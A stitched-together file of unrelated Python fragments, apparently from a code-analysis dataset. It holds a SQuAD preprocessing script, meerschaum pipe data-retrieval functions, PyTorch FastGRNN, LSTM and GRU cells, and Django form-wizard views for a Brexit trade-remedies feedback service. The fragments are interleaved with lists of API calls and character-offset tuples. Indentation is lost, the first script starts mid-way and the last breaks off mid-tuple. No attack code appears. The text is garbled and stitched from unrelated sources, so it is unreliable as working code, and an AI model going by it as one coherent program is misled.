embedding_file = "./glove.840B.300d.txt"
embedding = "./embedding.pkl"
src_word2idx_file = "./word2idx.pkl"
ent2idx_file = "./ent2idx.pkl"
rel2idx_file = "./rel2idx.pkl"
entity_embedding = "./entity.pkl"
relation_embedding = "./relation.pkl"
train_squad = "../squad/train-v1.1.json"
dev_squad = "../squad/dev-v1.1.json"
train_src_file = "../squad/para-train.txt"
train_trg_file = "../squad/tgt-train.txt"
train_cs_file = "./paracs-train.json"
dev_src_file = "../squad/para-dev.txt"
dev_trg_file = "../squad/tgt-dev.txt"
dev_cs_file = "./paracs-dev.json"
test_src_file = "../squad/para-test.txt"
test_trg_file = "../squad/tgt-test.txt"
test_cs_file = "./paracs-test.json"
ent_vector = "./entity_transE.txt"
rel_vector = "./relation_transE.txt"
ent_file = "./entity.txt"
rel_file = "./relation.txt"
cs_file = "./resource.json"
database = dict()
with open(cs_file, "r") as f:
d = json.load(f)
if d["dict_csk"] is not None:
database = d["dict_csk"]
# process the graph vector through the static attention mechanism
_, _, ent2idx, rel2idx = make_graph_vector(entity_embedding,
relation_embedding,
ent_vector,
ent_file,
rel_vector,
rel_file,
ent2idx_file,
rel2idx_file
)
# pre-process training data
train_examples, counter, num = process_file(train_squad, ent2idx, rel2idx, database)
make_conll_format(train_examples, train_src_file, train_trg_file, train_cs_file, num)
word2idx = make_vocab_from_squad(src_word2idx_file, counter, config.vocab_size)
make_embedding(embedding_file, embedding, word2idx)
# split dev into dev and test
dev_test_examples, _, num = process_file(dev_squad, ent2idx, rel2idx, database)
# random.shuffle(dev_test_examples)
num_dev = len(dev_test_examples) // 2
dev_examples = dev_test_examples[:num_dev]
test_examples = dev_test_examples[num_dev:]
make_conll_format(dev_examples, dev_src_file, dev_trg_file, dev_cs_file, num)
make_conll_format(test_examples, test_src_file, test_trg_file, test_cs_file, num)
if __name__ == "__main__":
# make_sent_dataset()
make_para_dataset()
| [
"sys.path.insert",
"data_utils.make_graph_vector",
"data_utils.make_embedding",
"data_utils.make_conll_format",
"data_utils.process_file",
"data_utils.make_vocab_from_squad",
"json.load",
"data_utils.make_vocab"
] | [((24, 49), 'sys.path.insert', 'sys.path.insert', (['(0)', '"""../"""'], {}), "(0, '../')\n", (39, 49), False, 'import sys\n'), ((476, 552), 'data_utils.make_vocab', 'make_vocab', (['train_src_file', 'train_trg_file', 'word2idx_file', 'config.vocab_size'], {}), '(train_src_file, train_trg_file, word2idx_file, config.vocab_size)\n', (486, 552), False, 'from data_utils import make_conll_format, make_embedding, make_vocab, make_vocab_from_squad, process_file, make_graph_vector\n'), ((557, 608), 'data_utils.make_embedding', 'make_embedding', (['embedding_file', 'embedding', 'word2idx'], {}), '(embedding_file, embedding, word2idx)\n', (571, 608), False, 'from data_utils import make_conll_format, make_embedding, make_vocab, make_vocab_from_squad, process_file, make_graph_vector\n'), ((1813, 1944), 'data_utils.make_graph_vector', 'make_graph_vector', (['entity_embedding', 'relation_embedding', 'ent_vector', 'ent_file', 'rel_vector', 'rel_file', 'ent2idx_file', 'rel2idx_file'], {}), '(entity_embedding, relation_embedding, ent_vector,\n ent_file, rel_vector, rel_file, ent2idx_file, rel2idx_file)\n', (1830, 1944), False, 'from data_utils import make_conll_format, make_embedding, make_vocab, make_vocab_from_squad, process_file, make_graph_vector\n'), ((2385, 2438), 'data_utils.process_file', 'process_file', (['train_squad', 'ent2idx', 'rel2idx', 'database'], {}), '(train_squad, ent2idx, rel2idx, database)\n', (2397, 2438), False, 'from data_utils import make_conll_format, make_embedding, make_vocab, make_vocab_from_squad, process_file, make_graph_vector\n'), ((2443, 2532), 'data_utils.make_conll_format', 'make_conll_format', (['train_examples', 'train_src_file', 'train_trg_file', 'train_cs_file', 'num'], {}), '(train_examples, train_src_file, train_trg_file,\n train_cs_file, num)\n', (2460, 2532), False, 'from data_utils import make_conll_format, make_embedding, make_vocab, make_vocab_from_squad, process_file, make_graph_vector\n'), ((2544, 2612), 'data_utils.make_vocab_from_squad', 'make_vocab_from_squad', (['src_word2idx_file', 'counter', 'config.vocab_size'], {}), '(src_word2idx_file, counter, config.vocab_size)\n', (2565, 2612), False, 'from data_utils import make_conll_format, make_embedding, make_vocab, make_vocab_from_squad, process_file, make_graph_vector\n'), ((2617, 2668), 'data_utils.make_embedding', 'make_embedding', (['embedding_file', 'embedding', 'word2idx'], {}), '(embedding_file, embedding, word2idx)\n', (2631, 2668), False, 'from data_utils import make_conll_format, make_embedding, make_vocab, make_vocab_from_squad, process_file, make_graph_vector\n'), ((2736, 2787), 'data_utils.process_file', 'process_file', (['dev_squad', 'ent2idx', 'rel2idx', 'database'], {}), '(dev_squad, ent2idx, rel2idx, database)\n', (2748, 2787), False, 'from data_utils import make_conll_format, make_embedding, make_vocab, make_vocab_from_squad, process_file, make_graph_vector\n'), ((2969, 3046), 'data_utils.make_conll_format', 'make_conll_format', (['dev_examples', 'dev_src_file', 'dev_trg_file', 'dev_cs_file', 'num'], {}), '(dev_examples, dev_src_file, dev_trg_file, dev_cs_file, num)\n', (2986, 3046), False, 'from data_utils import make_conll_format, make_embedding, make_vocab, make_vocab_from_squad, process_file, make_graph_vector\n'), ((3051, 3136), 'data_utils.make_conll_format', 'make_conll_format', (['test_examples', 'test_src_file', 'test_trg_file', 'test_cs_file', 'num'], {}), '(test_examples, test_src_file, test_trg_file, test_cs_file,\n num)\n', (3068, 3136), False, 'from data_utils import make_conll_format, make_embedding, make_vocab, make_vocab_from_squad, process_file, make_graph_vector\n'), ((1625, 1637), 'json.load', 'json.load', (['f'], {}), '(f)\n', (1634, 1637), False, 'import json\n')] |
#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
"""
Functions for getting Pipe data
"""
from __future__ import annotations
from meerschaum.utils.typing import Optional, Dict, Any
def get_data(
self,
begin : Optional[datetime.datetime] = None,
end : Optional[datetime.datetime] = None,
params : Optional[Dict[str, Any]] = None,
fresh: bool = False,
debug : bool = False,
**kw : Any
) -> Optional[pandas.DataFrame]:
"""
Get a pipe's data from the instance connector.
:param begin:
Lower bound datetime to begin searching for data (inclusive).
Translates to a `WHERE` clause like `WHERE datetime >= begin`.
Defaults to `None`.
:param end:
Upper bound datetime to stop searching for data (inclusive).
Translates to a `WHERE` clause like `WHERE datetime <= end`.
Defaults to `None`.
:param params:
Filter the retrieved data by a dictionary of parameters.
E.g. to retrieve data for only certain values of `id`,
the `params` dictionary would look like the following:
```
>>> params = {
... 'id' : [1, 2, 3],
... }
>>>
```
:param fresh:
If True, skip local cache and directly query the instance connector.
Currently has no effect (until caching features are merged into the stable release).
Defaults to `True`.
:param debug:
Verbosity toggle.
Defaults to `False`.
"""
from meerschaum.utils.warnings import warn
kw.update({'begin': begin, 'end': end, 'params': params,})
if not self.exists(debug=debug):
return None
if self.cache_pipe is not None:
if not fresh:
_sync_cache_tuple = self.cache_pipe.sync(debug=debug, **kw)
if not _sync_cache_tuple[0]:
warn(f"Failed to sync cache for pipe '{self}':\n" + _sync_cache_tuple[1])
fresh = True
else: ### Successfully synced cache.
return self.cache_pipe.get_data(debug=debug, fresh=True, **kw)
### If `fresh` or the syncing failed, directly pull from the instance connector.
return self.instance_connector.get_pipe_data(
pipe = self,
debug = debug,
**kw
)
def get_backtrack_data(
self,
backtrack_minutes : int = 0,
begin : 'datetime.datetime' = None,
fresh: bool = False,
debug : bool = False,
**kw : Any
) -> Optional['pd.DataFrame']:
"""
Get the most recent data from the instance connector as a Pandas DataFrame.
:param backtrack_minutes:
How many minutes from `begin` to select from.
Defaults to 0. This may return a few rows due to a rounding quirk.
:param begin:
The starting point from which to search for data.
If begin is None (default), use the most recent observed datetime
(AKA sync_time).
E.g. begin = 02:00
```
Search this region. Ignore this, even if there's data.
/ / / / / / / / / |
-----|----------|----------|----------|----------|----------|
00:00 01:00 02:00 03:00 04:00 05:00
```
:param fresh:
Ignore local cache and pull directly from the instance connector.
:param debug:
Verbosity toggle.
"""
from meerschaum.utils.warnings import warn
kw.update({'backtrack_minutes': backtrack_minutes, 'begin': begin,})
if not self.exists(debug=debug):
return None
if self.cache_pipe is not None:
if not fresh:
_sync_cache_tuple = self.cache_pipe.sync(debug=debug, **kw)
if not _sync_cache_tuple[0]:
warn(f"Failed to sync cache for pipe '{self}':\n" + _sync_cache_tuple[1])
fresh = True
else: ### Successfully synced cache.
return self.cache_pipe.get_backtrack_data(debug=debug, fresh=True, **kw)
### If `fresh` or the syncing failed, directly pull from the instance connector.
return self.instance_connector.get_backtrack_data(
pipe = self,
debug = debug,
**kw
)
def get_rowcount(
self,
begin : Optional['datetime.datetime'] = None,
end : Optional['datetime.datetime'] = None,
remote : bool = False,
params : Optional[Dict[str, Any]] = None,
debug : bool = False
) -> Optional[int]:
"""
Get a Pipe's instance or remote rowcount.
:param begin:
Count rows where datetime > begin.
:param end:
Count rows where datetime <= end.
:param remote:
Count rows from a pipe's remote source.
NOTE: This is experimental!
:param debug:
Verbosity toggle.
"""
from meerschaum.utils.warnings import warn
connector = self.instance_connector if not remote else self.connector
try:
return connector.get_pipe_rowcount(
self, begin=begin, end=end, remote=remote, params=params, debug=debug
)
except AttributeError as e:
warn(e)
if remote:
return None
warn(f"Failed to get a rowcount for pipe '{self}'.")
return None
| [
"meerschaum.utils.warnings.warn"
] | [((5221, 5273), 'meerschaum.utils.warnings.warn', 'warn', (['f"""Failed to get a rowcount for pipe \'{self}\'."""'], {}), '(f"Failed to get a rowcount for pipe \'{self}\'.")\n', (5225, 5273), False, 'from meerschaum.utils.warnings import warn\n'), ((5166, 5173), 'meerschaum.utils.warnings.warn', 'warn', (['e'], {}), '(e)\n', (5170, 5173), False, 'from meerschaum.utils.warnings import warn\n'), ((1904, 1977), 'meerschaum.utils.warnings.warn', 'warn', (['(f"Failed to sync cache for pipe \'{self}\':\\n" + _sync_cache_tuple[1])'], {}), '(f"Failed to sync cache for pipe \'{self}\':\\n" + _sync_cache_tuple[1])\n', (1908, 1977), False, 'from meerschaum.utils.warnings import warn\n'), ((3810, 3883), 'meerschaum.utils.warnings.warn', 'warn', (['(f"Failed to sync cache for pipe \'{self}\':\\n" + _sync_cache_tuple[1])'], {}), '(f"Failed to sync cache for pipe \'{self}\':\\n" + _sync_cache_tuple[1])\n', (3814, 3883), False, 'from meerschaum.utils.warnings import warn\n')] |
import torch
from typing import Tuple
class FastGRNN(torch.nn.Module):
def __init__(self, Fi, Fh):
super().__init__()
self.input_linear = torch.nn.Linear(Fi, Fh, bias = False)
self.state_linear = torch.nn.Linear(Fh, Fh, bias = False)
self.gate_bias = torch.nn.Parameter(torch.ones(1, Fh))
self.update_bias = torch.nn.Parameter(torch.ones(1, Fh))
self.zeta = torch.nn.Parameter(torch.ones(1, 1))
self.nu = torch.nn.Parameter(-4 * torch.ones(1, 1))
def forward(self, input, state):
merged = self.input_linear(input) + self.state_linear(state)
gate = torch.sigmoid(merged + self.gate_bias)
update = torch.tanh(merged + self.update_bias)
delta = torch.sigmoid(self.zeta) * (1 - gate) + torch.sigmoid(self.nu)
return gate * state + delta * update
class LSTM(torch.nn.Module):
def __init__(self, Fi, Fh):
super().__init__()
self.input_linear = torch.nn.Linear(Fi, 4 * Fh)
self.state_linear = torch.nn.Linear(Fh, 4 * Fh, bias = False)
def forward(self, inputs: torch.Tensor, states: Tuple[torch.Tensor, torch.Tensor]):
H, C = states
gates = self.input_linear(inputs) + self.state_linear(H)
I, F, O, G = gates.chunk(4, 1)
I = torch.sigmoid(I)
F = torch.sigmoid(F)
O = torch.sigmoid(O)
G = torch.tanh(G)
C = F * C + I * G
H = O * torch.tanh(C)
return H, C
class GRU(torch.nn.Module):
def __init__(self, Fi, Fh):
super().__init__()
self.input_linear = torch.nn.Linear(Fi, 3 * Fh)
self.state_linear = torch.nn.Linear(Fh, 3 * Fh)
def forward(self, X: torch.Tensor, H: torch.Tensor):
Xr, Xz, Xn = self.input_linear(X).chunk(3, 1)
Hr, Hz, Hn = self.state_linear(H).chunk(3, 1)
R = torch.sigmoid(Xr + Hr)
Z = torch.sigmoid(Xz + Hz)
N = torch.tanh(Xn + R * Hn)
H = (1 - Z) * N + Z * H
return H | [
"torch.tanh",
"torch.sigmoid",
"torch.nn.Linear",
"torch.ones"
] | [((159, 194), 'torch.nn.Linear', 'torch.nn.Linear', (['Fi', 'Fh'], {'bias': '(False)'}), '(Fi, Fh, bias=False)\n', (174, 194), False, 'import torch\n'), ((225, 260), 'torch.nn.Linear', 'torch.nn.Linear', (['Fh', 'Fh'], {'bias': '(False)'}), '(Fh, Fh, bias=False)\n', (240, 260), False, 'import torch\n'), ((630, 668), 'torch.sigmoid', 'torch.sigmoid', (['(merged + self.gate_bias)'], {}), '(merged + self.gate_bias)\n', (643, 668), False, 'import torch\n'), ((686, 723), 'torch.tanh', 'torch.tanh', (['(merged + self.update_bias)'], {}), '(merged + self.update_bias)\n', (696, 723), False, 'import torch\n'), ((965, 992), 'torch.nn.Linear', 'torch.nn.Linear', (['Fi', '(4 * Fh)'], {}), '(Fi, 4 * Fh)\n', (980, 992), False, 'import torch\n'), ((1021, 1060), 'torch.nn.Linear', 'torch.nn.Linear', (['Fh', '(4 * Fh)'], {'bias': '(False)'}), '(Fh, 4 * Fh, bias=False)\n', (1036, 1060), False, 'import torch\n'), ((1292, 1308), 'torch.sigmoid', 'torch.sigmoid', (['I'], {}), '(I)\n', (1305, 1308), False, 'import torch\n'), ((1321, 1337), 'torch.sigmoid', 'torch.sigmoid', (['F'], {}), '(F)\n', (1334, 1337), False, 'import torch\n'), ((1350, 1366), 'torch.sigmoid', 'torch.sigmoid', (['O'], {}), '(O)\n', (1363, 1366), False, 'import torch\n'), ((1379, 1392), 'torch.tanh', 'torch.tanh', (['G'], {}), '(G)\n', (1389, 1392), False, 'import torch\n'), ((1587, 1614), 'torch.nn.Linear', 'torch.nn.Linear', (['Fi', '(3 * Fh)'], {}), '(Fi, 3 * Fh)\n', (1602, 1614), False, 'import torch\n'), ((1643, 1670), 'torch.nn.Linear', 'torch.nn.Linear', (['Fh', '(3 * Fh)'], {}), '(Fh, 3 * Fh)\n', (1658, 1670), False, 'import torch\n'), ((1850, 1872), 'torch.sigmoid', 'torch.sigmoid', (['(Xr + Hr)'], {}), '(Xr + Hr)\n', (1863, 1872), False, 'import torch\n'), ((1885, 1907), 'torch.sigmoid', 'torch.sigmoid', (['(Xz + Hz)'], {}), '(Xz + Hz)\n', (1898, 1907), False, 'import torch\n'), ((1920, 1943), 'torch.tanh', 'torch.tanh', (['(Xn + R * Hn)'], {}), '(Xn + R * Hn)\n', (1930, 1943), False, 'import torch\n'), ((307, 324), 'torch.ones', 'torch.ones', (['(1)', 'Fh'], {}), '(1, Fh)\n', (317, 324), False, 'import torch\n'), ((372, 389), 'torch.ones', 'torch.ones', (['(1)', 'Fh'], {}), '(1, Fh)\n', (382, 389), False, 'import torch\n'), ((430, 446), 'torch.ones', 'torch.ones', (['(1)', '(1)'], {}), '(1, 1)\n', (440, 446), False, 'import torch\n'), ((780, 802), 'torch.sigmoid', 'torch.sigmoid', (['self.nu'], {}), '(self.nu)\n', (793, 802), False, 'import torch\n'), ((1436, 1449), 'torch.tanh', 'torch.tanh', (['C'], {}), '(C)\n', (1446, 1449), False, 'import torch\n'), ((490, 506), 'torch.ones', 'torch.ones', (['(1)', '(1)'], {}), '(1, 1)\n', (500, 506), False, 'import torch\n'), ((740, 764), 'torch.sigmoid', 'torch.sigmoid', (['self.zeta'], {}), '(self.zeta)\n', (753, 764), False, 'import torch\n')] |
import datetime
from urllib.parse import quote, unquote
from directory_ch_client.client import ch_search_api_client
from directory_forms_api_client import actions
from directory_forms_api_client.helpers import FormSessionMixin, Sender
from formtools.wizard.views import NamedUrlSessionWizardView
from formtools.wizard.forms import ManagementForm
from formtools.wizard.views import normalize_name
from rest_framework.generics import GenericAPIView
from rest_framework.response import Response
from django.conf import settings
from django.core.exceptions import SuspiciousOperation
from django.core.paginator import Paginator
from django.shortcuts import redirect, Http404
from django.template.response import TemplateResponse
from django.urls import reverse, reverse_lazy
from django.utils import timezone
from django.views.generic import FormView, TemplateView
from core import constants, forms, helpers, serializers
class PreventCaptchaRevalidationMixin:
"""When get_all_cleaned_data() is called the forms are revalidated,
which causes captcha to fail becuase the same captcha response from google
is posted to google multiple times. This captcha response is a nonce, and
so google complains the second time it's seen.
This is worked around by removing captcha from the form if it's already been validated
"""
def process_step(self, form):
if 'captcha' in form.fields:
self.storage.extra_data['is_captcha_valid'] = True
return super().process_step(form)
def get_form(self, step=None, *args, **kwargs):
form = super().get_form(step=step, *args, **kwargs)
if 'captcha' in form.fields and self.storage.extra_data.get('is_captcha_valid'):
del form.fields['captcha']
return form
class PrivacyPolicyView(TemplateView):
template_name = 'core/privacy-policy.html'
class CookiesView(TemplateView):
template_name = 'core/cookies.html'
class AccessibilityStatementView(TemplateView):
template_name = 'core/accessibility-statement.html'
class RoutingWizardView(NamedUrlSessionWizardView):
storage_name = 'core.helpers.NoResetStorage'
form_list = (
(constants.STEP_USER_TYPE, forms.RoutingUserTypeForm),
(constants.STEP_IMPORT_FROM_OVERSEAS, forms.RoutingImportFromOverseasForm),
)
templates = {
constants.STEP_USER_TYPE: 'core/wizard-step-user-type-routing.html',
constants.STEP_IMPORT_FROM_OVERSEAS: 'core/wizard-step-import-from-overseas.html',
}
def condition_import_from_overseas(self):
cleaned_data = self.get_cleaned_data_for_step(constants.STEP_USER_TYPE) or {}
return cleaned_data.get('choice') == constants.UK_BUSINESS
condition_dict = {
constants.STEP_IMPORT_FROM_OVERSEAS: condition_import_from_overseas
}
def get_template_names(self):
return [self.templates[self.steps.current]]
def done(self, form_list, form_dict, **kwargs):
user_type = form_dict[constants.STEP_USER_TYPE].cleaned_data['choice']
if user_type == constants.UK_BUSINESS:
import_from_overseas = form_dict[constants.STEP_IMPORT_FROM_OVERSEAS].cleaned_data['choice']
if import_from_overseas:
url = reverse('wizard-importer', kwargs={'step': constants.STEP_PRODUCT})
else:
url = reverse('wizard-business', kwargs={'step': constants.STEP_PRODUCT})
elif user_type == constants.UK_CONSUMER:
url = reverse('wizard-consumer', kwargs={'step': constants.STEP_PRODUCT})
elif user_type == constants.DEVELOPING_COUNTRY_COMPANY:
url = reverse('wizard-developing', kwargs={'step': constants.STEP_COUNTRY})
else:
raise NotImplementedError
return redirect(url)
class BaseWizard(FormSessionMixin, PreventCaptchaRevalidationMixin, NamedUrlSessionWizardView):
storage_name = 'core.helpers.CacheStorage'
SAVED_SESSION_PARAM = 'key'
def dispatch(self, request, *args, **kwargs):
if self.SAVED_SESSION_PARAM in self.request.GET:
try:
helpers.load_saved_submission(
request=request,
prefix=self.get_prefix(request, *args, **kwargs),
key=self.request.GET[self.SAVED_SESSION_PARAM]
)
except Http404:
return TemplateResponse(self.request, 'core/invalid-save-for-later-key.html', {})
return super().dispatch(request=request, *args, **kwargs)
def get_form(self, step=None, *args, **kwargs):
form = super().get_form(step=step, *args, **kwargs)
# suppress "this field is required" messages on load of saved submission
# step is None when building form for current page. we only want the current page to suppress validation
if step is None and self.request.method == 'GET' and self.SAVED_SESSION_PARAM in self.request.GET:
form.empty_permitted = True
form.initial = helpers.form_data_to_initial(form)
return form
def get_next_step(self, step=None):
if self.request.GET.get('change'):
return constants.STEP_SUMMARY
return super().get_next_step(step)
def post(self, request, *args, **kwargs):
management_form = ManagementForm(self.request.POST, prefix=self.prefix)
if not management_form.is_valid():
raise SuspiciousOperation('ManagementForm data is missing or has been tampered.')
self.storage.current_step = management_form.cleaned_data['current_step']
if request.POST.get('wizard_save_for_later'):
self.storage.set_step_data(self.steps.current, request.POST)
self.storage.mark_shared()
url = reverse('save-for-later')
return_url = quote(self.get_step_url(self.steps.current))
return redirect(f'{url}?return_url={return_url}')
elif 'wizard_browse_product' in request.POST:
url = self.get_step_url(constants.STEP_PRODUCT)
node_id = request.POST['wizard_browse_product']
if node_id:
url = f'{url}?node_id={node_id}#{node_id}'
else:
url = f'{url}#hierarchy-browser'
return redirect(url)
return super().post(request=request, *args, **kwargs)
def get_template_names(self):
return [self.templates[self.steps.current]]
def get_summary(self):
labels = {}
values = {}
for form_key in self.get_form_list():
form_obj = self.get_form(step=form_key, data=self.storage.get_step_data(form_key))
labels.update(helpers.get_form_display_data(form_obj))
values.update(helpers.get_form_cleaned_data(form_obj))
return labels, values
def get_context_data(self, form, **kwargs):
context = super().get_context_data(form=form, **kwargs)
if self.steps.current == constants.STEP_SUMMARY:
context['summary'], context['form_values'] = self.get_summary()
elif self.steps.current == constants.STEP_PRODUCT:
term = self.request.GET.get('product-search-term')
if term:
term_no_spaces = term.replace(" ", "")
is_lookup_by_code = term_no_spaces.isdigit()
if is_lookup_by_code:
term = term_no_spaces
response = helpers.search_commodity_by_code(code=term)
else:
page = self.request.GET.get('page', 1)
response = helpers.search_commodity_by_term(term=term, page=page)
response.raise_for_status()
parsed = response.json()
context['search'] = parsed
context['term'] = term
if not is_lookup_by_code:
total_results = parsed['total_results']
paginator = Paginator(range(total_results), 20)
context['paginator_page'] = paginator.get_page(self.request.GET.get('page', 1))
context['pagination_url'] = helpers.get_paginator_url(
filters=self.request.GET,
url=self.get_step_url(constants.STEP_PRODUCT)
)
response = helpers.search_hierarchy(self.request.GET.get('node_id', 'root'))
response.raise_for_status()
context['hierarchy'] = response.json()['results']
elif self.steps.current == constants.STEP_PRODUCT_DETAIL:
step_data = self.get_cleaned_data_for_step(constants.STEP_PRODUCT)
context['commodity'] = step_data['commodity'] if step_data else None
return context
def done(self, form_list, **kwargs):
form_data = self.serialize_form_list(form_list)
sender = Sender(
email_address=form_data['email'],
country_code=None,
ip_address=helpers.get_sender_ip_address(self.request),
)
action = actions.ZendeskAction(
subject='ERP form was submitted',
full_name=form_data['given_name'] + ' ' + form_data['family_name'],
service_name=constants.ZENDESK_SERVICE_NAME,
subdomain=settings.ERP_ZENDESK_SUBDOMAIN,
email_address=form_data['email'],
form_url=self.get_step_url(constants.STEP_SUMMARY),
form_session=self.form_session,
sender=sender,
)
response = action.save(form_data)
if response.status_code == 429:
# user has been rate limited for submitting too many. don't tell them.
pass
else:
response.raise_for_status()
template_name = self.templates[constants.STEP_FINISHED]
context = self.get_context_data(form=None)
context['summary'], context['form_values'] = self.get_summary()
context['summary_template'] = self.summary_template
return TemplateResponse(self.request, [template_name], context)
def serialize_form_list(self, form_list):
data = {}
for form in form_list:
data.update(helpers.get_form_cleaned_data(form))
del data['term']
data['user_type'] = self.user_type
return data
class BusinessWizard(BaseWizard):
user_type = forms.RoutingUserTypeForm.LABEL_UK_BUSINESS
form_list = (
(constants.STEP_PRODUCT, forms.ProductSearchForm),
(constants.STEP_PRODUCT_DETAIL, forms.NoOperationForm),
(constants.STEP_SALES_VOLUME_BEFORE_BREXIT, forms.SalesVolumeBeforeBrexitForm),
(constants.STEP_SALES_REVENUE_BEFORE_BREXIT, forms.SalesRevenueBeforeBrexitForm),
(constants.STEP_SALES_AFTER_BREXIT, forms.SalesAfterBrexitForm),
(constants.STEP_MARKET_SIZE_AFTER_BREXIT, forms.MarketSizeAfterBrexitForm),
(constants.STEP_OTHER_CHANGES, forms.OtherChangesAfterBrexitForm),
(constants.STEP_MARKET_SIZE, forms.MarketSizeForm),
(constants.STEP_OUTCOME, forms.OutcomeForm),
(constants.STEP_BUSINESS, forms.BusinessDetailsForm),
(constants.STEP_PERSONAL, forms.PersonalDetailsForm),
(constants.STEP_SUMMARY, forms.SummaryForm),
)
templates = {
constants.STEP_PRODUCT: 'core/wizard-step-product.html',
constants.STEP_PRODUCT_DETAIL: 'core/wizard-step-product-detail.html',
constants.STEP_SALES_VOLUME_BEFORE_BREXIT: 'core/wizard-step-sales-volume-before-brexit.html',
constants.STEP_SALES_REVENUE_BEFORE_BREXIT: 'core/wizard-step-sales-revenue-before-brexit.html',
constants.STEP_SALES_AFTER_BREXIT: 'core/wizard-step-sales-after-brexit.html',
constants.STEP_MARKET_SIZE_AFTER_BREXIT: 'core/wizard-step-market-size-after-brexit.html',
constants.STEP_OTHER_CHANGES: 'core/wizard-step-other-changes-after-brexit.html',
constants.STEP_MARKET_SIZE: 'core/wizard-step-market-size.html',
constants.STEP_OUTCOME: 'core/wizard-step-outcome.html',
constants.STEP_BUSINESS: 'core/wizard-step-business.html',
constants.STEP_PERSONAL: 'core/wizard-step-personal.html',
constants.STEP_SUMMARY: 'core/wizard-step-summary-uk-business.html',
constants.STEP_FINISHED: 'core/form-submitted.html',
}
summary_template = 'core/summary/report-uk-business.html'
class ImporterWizard(BaseWizard):
user_type = f'{forms.RoutingUserTypeForm.LABEL_UK_BUSINESS} (importer)'
form_list = (
(constants.STEP_PRODUCT, forms.ProductSearchForm),
(constants.STEP_PRODUCT_DETAIL, forms.NoOperationForm),
(constants.STEP_COUNTRIES_OF_IMPORT, forms.CountriesImportSourceForm),
(constants.STEP_IMPORTED_PRODUCTS_USAGE, forms.ImportedProductsUsageForm),
(constants.STEP_SALES_VOLUME_BEFORE_BREXIT, forms.SalesVolumeBeforeBrexitForm),
(constants.STEP_SALES_REVENUE_BEFORE_BREXIT, forms.SalesRevenueBeforeBrexitForm),
(constants.STEP_SALES_AFTER_BREXIT, forms.SalesAfterBrexitForm),
(constants.STEP_MARKET_SIZE_AFTER_BREXIT, forms.MarketSizeAfterBrexitForm),
(constants.STEP_OTHER_CHANGES, forms.OtherChangesAfterBrexitForm),
(constants.STEP_PRODUCTION_PERCENTAGE, forms.ProductionPercentageForm),
(constants.STEP_EQUIVALANT_UK_GOODS, forms.EquivalendUKGoodsForm),
(constants.STEP_MARKET_SIZE, forms.MarketSizeForm),
(constants.STEP_OUTCOME, forms.OutcomeForm),
(constants.STEP_BUSINESS, forms.BusinessDetailsForm),
(constants.STEP_PERSONAL, forms.PersonalDetailsForm),
(constants.STEP_SUMMARY, forms.SummaryForm),
)
templates = {
constants.STEP_PRODUCT: 'core/wizard-step-product.html',
constants.STEP_PRODUCT_DETAIL: 'core/wizard-step-product-detail.html',
constants.STEP_IMPORTED_PRODUCTS_USAGE: 'core/wizard-step-importer-products-usage.html',
constants.STEP_SALES_VOLUME_BEFORE_BREXIT: 'core/wizard-step-sales-volume-before-brexit.html',
constants.STEP_SALES_REVENUE_BEFORE_BREXIT: 'core/wizard-step-sales-revenue-before-brexit.html',
constants.STEP_SALES_AFTER_BREXIT: 'core/wizard-step-sales-after-brexit.html',
constants.STEP_MARKET_SIZE_AFTER_BREXIT: 'core/wizard-step-market-size-after-brexit.html',
constants.STEP_OTHER_CHANGES: 'core/wizard-step-other-changes-after-brexit.html',
constants.STEP_PRODUCTION_PERCENTAGE: 'core/wizard-step-production-percentage.html',
constants.STEP_COUNTRIES_OF_IMPORT: 'core/wizard-step-country-import-country.html',
constants.STEP_EQUIVALANT_UK_GOODS: 'core/wizard-step-equivalent-uk-goods.html',
constants.STEP_MARKET_SIZE: 'core/wizard-step-market-size.html',
constants.STEP_OUTCOME: 'core/wizard-step-outcome.html',
constants.STEP_BUSINESS: 'core/wizard-step-business.html',
constants.STEP_PERSONAL: 'core/wizard-step-personal.html',
constants.STEP_SUMMARY: 'core/wizard-step-summary-importer.html',
constants.STEP_FINISHED: 'core/form-submitted.html',
}
summary_template = 'core/summary/report-importer.html'
def get_prefix(self, request, *args, **kwargs):
# share the answers with business view
return normalize_name(BusinessWizard.__name__)
class ConsumerWizard(BaseWizard):
user_type = forms.RoutingUserTypeForm.LABEL_UK_CONSUMER
form_list = (
(constants.STEP_PRODUCT, forms.ProductSearchForm),
(constants.STEP_PRODUCT_DETAIL, forms.NoOperationForm),
(constants.STEP_CONSUMER_CHANGE, forms.ConsumerChangeForm),
(constants.STEP_OTHER_CHANGES, forms.OtherInformationForm),
(constants.STEP_CONSUMER_TYPE, forms.ConsumerTypeForm),
(constants.STEP_PERSONAL, forms.ConsumerPersonalDetailsForm),
(constants.STEP_CONSUMER_GROUP, forms.ConsumerGroupForm),
(constants.STEP_SUMMARY, forms.SummaryForm),
)
templates = {
constants.STEP_PRODUCT: 'core/wizard-step-product.html',
constants.STEP_PRODUCT_DETAIL: 'core/wizard-step-product-detail.html',
constants.STEP_CONSUMER_CHANGE: 'core/wizard-step-consumer-change.html',
constants.STEP_OTHER_CHANGES: 'core/wizard-step-other-information.html',
constants.STEP_CONSUMER_TYPE: 'core/wizard-step-consumer-type.html',
constants.STEP_CONSUMER_GROUP: 'core/wizard-step-consumer-group.html',
constants.STEP_PERSONAL: 'core/wizard-step-personal.html',
constants.STEP_SUMMARY: 'core/wizard-step-summary-consumer.html',
constants.STEP_FINISHED: 'core/form-submitted.html',
}
summary_template = 'core/summary/report-consumer.html'
def condition_personal(self):
cleaned_data = self.get_cleaned_data_for_step(constants.STEP_CONSUMER_TYPE) or {}
return cleaned_data.get('consumer_type') == constants.INDIVIDUAL_CONSUMER
def condition_consumer_group(self):
cleaned_data = self.get_cleaned_data_for_step(constants.STEP_CONSUMER_TYPE) or {}
return cleaned_data.get('consumer_type') == constants.CONSUMER_GROUP
condition_dict = {
constants.STEP_PERSONAL: condition_personal,
constants.STEP_CONSUMER_GROUP: condition_consumer_group,
}
class DevelopingCountryWizard(BaseWizard):
user_type = forms.RoutingUserTypeForm.LABEL_DEVELOPING_COUNTRY_COMPANY
form_list = (
(constants.STEP_COUNTRY, forms.DevelopingCountryForm),
(constants.STEP_PRODUCT, forms.ProductSearchForm),
(constants.STEP_PRODUCT_DETAIL, forms.NoOperationForm),
(constants.STEP_SALES_VOLUME_BEFORE_BREXIT, forms.SalesVolumeBeforeBrexitForm),
(constants.STEP_SALES_REVENUE_BEFORE_BREXIT, forms.SalesRevenueBeforeBrexitForm),
(constants.STEP_SALES_AFTER_BREXIT, forms.ExportsAfterBrexitForm),
